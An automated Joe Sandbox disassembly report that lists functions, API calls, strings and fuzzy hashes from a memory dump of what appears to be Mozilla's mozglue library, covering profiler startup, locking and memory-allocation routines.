Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 900327f6209b60ba4b8e6c038cfb923eeaf7fa3d7152bcc5c2161559a98682b6
Instruction ID: d436a75b91016ffb06964878d0a25aacfb416a054d8c72357fd586f2c9d3cb83
Opcode Fuzzy Hash: 900327f6209b60ba4b8e6c038cfb923eeaf7fa3d7152bcc5c2161559a98682b6
Instruction Fuzzy Hash: 66315C71F042484BCB0CCF6CD8912BEBBE6DB99314F55863DE8199BB91E77498048F91

Function 6CB2B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB13EBD,6CB13EBD,00000000), ref: 6CAD42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CB2B127), ref: 6CB2B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB2B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CB2B4E4

Strings

pid:, xrefs: 6CB2B4DE

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 199be14ca223bb2ebe511df0b6125ced60405abc462499f4d63fa799a7c3a6d9
Instruction ID: 2f98e01e0b04a387ec87250f5920b743749c7c6f345b5877886d2b3a56f9c27d
Opcode Fuzzy Hash: 199be14ca223bb2ebe511df0b6125ced60405abc462499f4d63fa799a7c3a6d9
Instruction Fuzzy Hash: 24311831A01244DFDB00DFA9D880AFEB7B5FF09318F580529D82667A41DB35E949CBE1

Function 6CB1E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB1E577
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1E584
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB1E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CB1E826, 6CB1E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CB1E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CB1E777
MOZ_PROFILER_STARTUP, xrefs: 6CB1E5A1, 6CB1E5CC, 6CB1E5FF, 6CB1E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CB1E722, 6CB1E750, 6CB1E7A2

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 63d407007a936d8bc16aea5e26017aa6ab87833209a39ed412129fa9122c9857
Instruction ID: 5b16ec02a4b04d1d728d040d1a2b048f8543da6d841dfbe7e54bb3116003c807
Opcode Fuzzy Hash: 63d407007a936d8bc16aea5e26017aa6ab87833209a39ed412129fa9122c9857
Instruction Fuzzy Hash: E811AD31A042D8DFDB009F15C848A6EFBF8FBC9328FC40619E88697A50C770A844CB96

Function 6CB20C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB20CD5

Part of subcall function 6CB0F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB0F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB20D40
free.MOZGLUE ref: 6CB20DCB

Part of subcall function 6CAF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAF5EDB
Part of subcall function 6CAF5E90: memset.VCRUNTIME140(6CB37765,000000E5,55CCCCCC), ref: 6CAF5F27
Part of subcall function 6CAF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAF5FB2

free.MOZGLUE ref: 6CB20DDD
free.MOZGLUE ref: 6CB20DF2

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: bd7b4a234c06dbc62e8269f7a36442273a688732c5016957c447dc5c1fdb8897
Instruction ID: 354a755d277705988673f116054cc6a3b6c3da2e279b7a6213f4c18e6e3a2e00
Opcode Fuzzy Hash: bd7b4a234c06dbc62e8269f7a36442273a688732c5016957c447dc5c1fdb8897
Instruction Fuzzy Hash: FA410671A097948BD320CF29D1807AEFBE5BFC9654F508A2EE8D887750D7749489CB82

Function 6CB2CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2CDA4

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

Part of subcall function 6CB2D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CB2CDBA,00100000,?,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2D158
Part of subcall function 6CB2D130: InitializeConditionVariable.KERNEL32(00000098,?,6CB2CDBA,00100000,?,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2CDC4

Part of subcall function 6CB27480: ReleaseSRWLockExclusive.KERNEL32(?,6CB315FC,?,?,?,?,6CB315FC,?), ref: 6CB274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2CECC

Part of subcall function 6CAECA10: mozalloc_abort.MOZGLUE(?), ref: 6CAECAA2

Part of subcall function 6CB1CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CB2CEEA,?,?,?,?,00000000,?,6CB1DA31,00100000,?,?,00000000), ref: 6CB1CB57
Part of subcall function 6CB1CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CB1CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CB2CEEA,?,?), ref: 6CB1CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2D058

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 33e1572da01bc7f9ad01b339db4504c51bfe64f6e4cc7be1c7f9841aeeae5508
Instruction ID: da19969df6ae8c8afa302d5dc4d827b1a4c965cf264e9e541588927b943200e6
Opcode Fuzzy Hash: 33e1572da01bc7f9ad01b339db4504c51bfe64f6e4cc7be1c7f9841aeeae5508
Instruction Fuzzy Hash: DAD17E71A04B469FD718CF28C5907A9F7E1FF89308F01862DD85987752EB31E9A9CB81

Function 6CAF5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CAF5D40
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAF5D67
__aulldiv.LIBCMT ref: 6CAF5DB4
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAF5DED

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 5a5287c274e8ed3c8ca943ab172146153f4a171494c2e528269cfd9848a21a6f
Instruction ID: 60dfb85c5a4c94f22eb3d5141762733b247bc46b6fb045077a7e7e5f049c09a5
Opcode Fuzzy Hash: 5a5287c274e8ed3c8ca943ab172146153f4a171494c2e528269cfd9848a21a6f
Instruction Fuzzy Hash: 60518F71E011598FCF08CFA8C854BAEFBB2FB89304F59861DD865A7790C7716986CB90

Function 6CADCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CADCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CADCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CADCF4E

Strings

0, xrefs: 6CADCF30

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: a5ecdd375949f1cf14869ae2b1383999e44638887876c078c140600cbdaa1ca4
Instruction ID: 37e773762f71a083c377131fffb4903517b3e88a516cf3911401b727941cba25
Opcode Fuzzy Hash: a5ecdd375949f1cf14869ae2b1383999e44638887876c078c140600cbdaa1ca4
Instruction Fuzzy Hash: 47511071A042568FCB00CF18C890AAAFBB5EF99304F2A859DD8595F352D731BD46CBE0

Function 6CB16470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CB182BC,?,?), ref: 6CB1649B

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB164A9

Part of subcall function 6CB0FA80: GetCurrentThreadId.KERNEL32 ref: 6CB0FA8D
Part of subcall function 6CB0FA80: AcquireSRWLockExclusive.KERNEL32(6CB5F448), ref: 6CB0FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB1653F
free.MOZGLUE(?), ref: 6CB1655A

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: f028a5dc8d6601f8e82bb6d24b7c3f47bfeda514127695e6e3bdf9fb941a75d6
Instruction ID: 6e494324d18a2d0ff9a15684dc924b9a2fea3848331a8a177d0472a2c996b698
Opcode Fuzzy Hash: f028a5dc8d6601f8e82bb6d24b7c3f47bfeda514127695e6e3bdf9fb941a75d6
Instruction Fuzzy Hash: 263190B5A083459FD704CF14D880AAEBBF4FF88314F40842EE89A87740DB34E909CB92

Function 6CAEB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAEB4F5
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CAEB502
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CAEB542
free.MOZGLUE(?), ref: 6CAEB578

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 675a7e9a55b0eafaf7a326d167c57bed58f7deb4eb0f2bc0046dd25db5b055b2
Instruction ID: 3ef97174df7ce5fd851f1c51ddbb3536b3be93eda9d8355796f600954c32ad6f
Opcode Fuzzy Hash: 675a7e9a55b0eafaf7a326d167c57bed58f7deb4eb0f2bc0046dd25db5b055b2
Instruction Fuzzy Hash: 13110330A04B41C7E7128F29D5047A2B3B0FF9A318F98970AE84A53A01EBB0B1C5C7E4

Function 6CB13DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CADF20E,?), ref: 6CB13DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CADF20E,00000000,?), ref: 6CB13DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB13E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CB13E0E

Part of subcall function 6CB0CC00: GetCurrentProcess.KERNEL32(?,?,6CAD31A7), ref: 6CB0CC0D
Part of subcall function 6CB0CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CAD31A7), ref: 6CB0CC16

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: abb2a3061fb0d94433302eede38147e1a72cc0416cd8edfce3593febd002ed36
Instruction ID: be779c5c6fdbad543df7a3d980d8460076858acf141dcdce0da715b183c46b22
Opcode Fuzzy Hash: abb2a3061fb0d94433302eede38147e1a72cc0416cd8edfce3593febd002ed36
Instruction Fuzzy Hash: 3DF012B16002487BDB01AF54DC41DAF376DDB46624F444020FD0857741D775BE1996F7

Function 6CB285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CB285D3

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CB28725

Strings

map/set<T> too long, xrefs: 6CB28720

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 986cc30ed85de555caf1c1744610bccd48407bba8436d6ac9b7d45bbf3c0cb19
Instruction ID: 55380471830fa0dc8dc39c9607a6ee9d6acc71ab22c06cd447361784d82e22a6
Opcode Fuzzy Hash: 986cc30ed85de555caf1c1744610bccd48407bba8436d6ac9b7d45bbf3c0cb19
Instruction Fuzzy Hash: 095168756006818FD702CF18C184A69BBF1FF59318F18C18AD85D5BB62C33AE885CF92

Function 6CADBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CADBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CADBE8F

Strings

0, xrefs: 6CADBE5B

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 7bd927873fd89758302fc8bdfde532ffedd7269becaa8b9c74244b028222b2f6
Instruction ID: 1289b93f012904a126c365b9a30188c29999410f50b6df3f3b1dc40c1d55ff05
Opcode Fuzzy Hash: 7bd927873fd89758302fc8bdfde532ffedd7269becaa8b9c74244b028222b2f6
Instruction Fuzzy Hash: 3B418F71909745CFC701CF28D481A9BBBF4AF8A348F018B1DF985A7611DB30E9998B82

Function 6CB13CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB13D19
mozalloc_abort.MOZGLUE(?), ref: 6CB13D6C

Strings

d, xrefs: 6CB13D58

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 2d56504509bb1ae9890480cfebdfcecb2f34adbe5e4e7328e1417b23a22e3b6f
Instruction ID: ffd51f3863e45526cb16759b0aa9d5e4223a2f528e9f939c4857a86e095c710c
Opcode Fuzzy Hash: 2d56504509bb1ae9890480cfebdfcecb2f34adbe5e4e7328e1417b23a22e3b6f
Instruction Fuzzy Hash: 99110171E186D89BDB019F69C8154EEB775EF86218B848228EC449BA02FB30A5C4C790

Function 6CB36DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CB36E22
__Init_thread_footer.LIBCMT ref: 6CB36E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CB36E1D

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 9997b129d36a00bf3a0c2b0dd8e7fa9cca27bf0be8a41dd98c018665dfb327f2
Instruction ID: 316c24abf1f1afb2cbbfc6504ffddd8475ff54637787912645425894ebd3c52c
Opcode Fuzzy Hash: 9997b129d36a00bf3a0c2b0dd8e7fa9cca27bf0be8a41dd98c018665dfb327f2
Instruction Fuzzy Hash: 71F09739B042D0CBDB008FA8C850A9EF772F703228F8811A5C80887BE1C730B51ACE93

Function 6CAE9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CAE9EEF

Strings

NaN, xrefs: 6CAE9EC1
Infinity, xrefs: 6CAE9EB7

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 1de757a7d2bb9fb73c0c25354a2da84ce59266b1c0b4038af00bba2e3584bba3
Instruction ID: b081f057546540097d70315b47fd1e01b4dc8b12a99a0a22a985d492f3a3c161
Opcode Fuzzy Hash: 1de757a7d2bb9fb73c0c25354a2da84ce59266b1c0b4038af00bba2e3584bba3
Instruction Fuzzy Hash: 38F0CDB16003A1CBDB009F68D949BB9B771B70B318FA40A98C6040BBC0D3356596CAC2

Function 6CAEBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CAEBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CAEBEF5

Strings

cryptbase.dll, xrefs: 6CAEBEF0

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 9728d794b62620d5217e5002deb8827cc499fa187497008d0a828ffa04e1f2df
Instruction ID: e7fa2adf1123dfcdfa4bf6ec59beed92e7dbfd402999a689512667c14ed19ce9
Opcode Fuzzy Hash: 9728d794b62620d5217e5002deb8827cc499fa187497008d0a828ffa04e1f2df
Instruction Fuzzy Hash: BAD0A932380208EACA00AEA09C0AB293BB8A70A725F94C420F30585851C7B0A4A0DF88

Function 6CB2B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CB2B2C9,?,?,?,6CB2B127,?,?,?,?,?,?,?,?,?,6CB2AE52), ref: 6CB2B628

Part of subcall function 6CB290E0: free.MOZGLUE(?,00000000,?,?,6CB2DEDB), ref: 6CB290FF
Part of subcall function 6CB290E0: free.MOZGLUE(?,00000000,?,?,6CB2DEDB), ref: 6CB29108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB2B2C9,?,?,?,6CB2B127,?,?,?,?,?,?,?,?,?,6CB2AE52), ref: 6CB2B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB2B2C9,?,?,?,6CB2B127,?,?,?,?,?,?,?,?,?,6CB2AE52), ref: 6CB2B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CB2B127,?,?,?,?,?,?,?,?), ref: 6CB2B74D

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
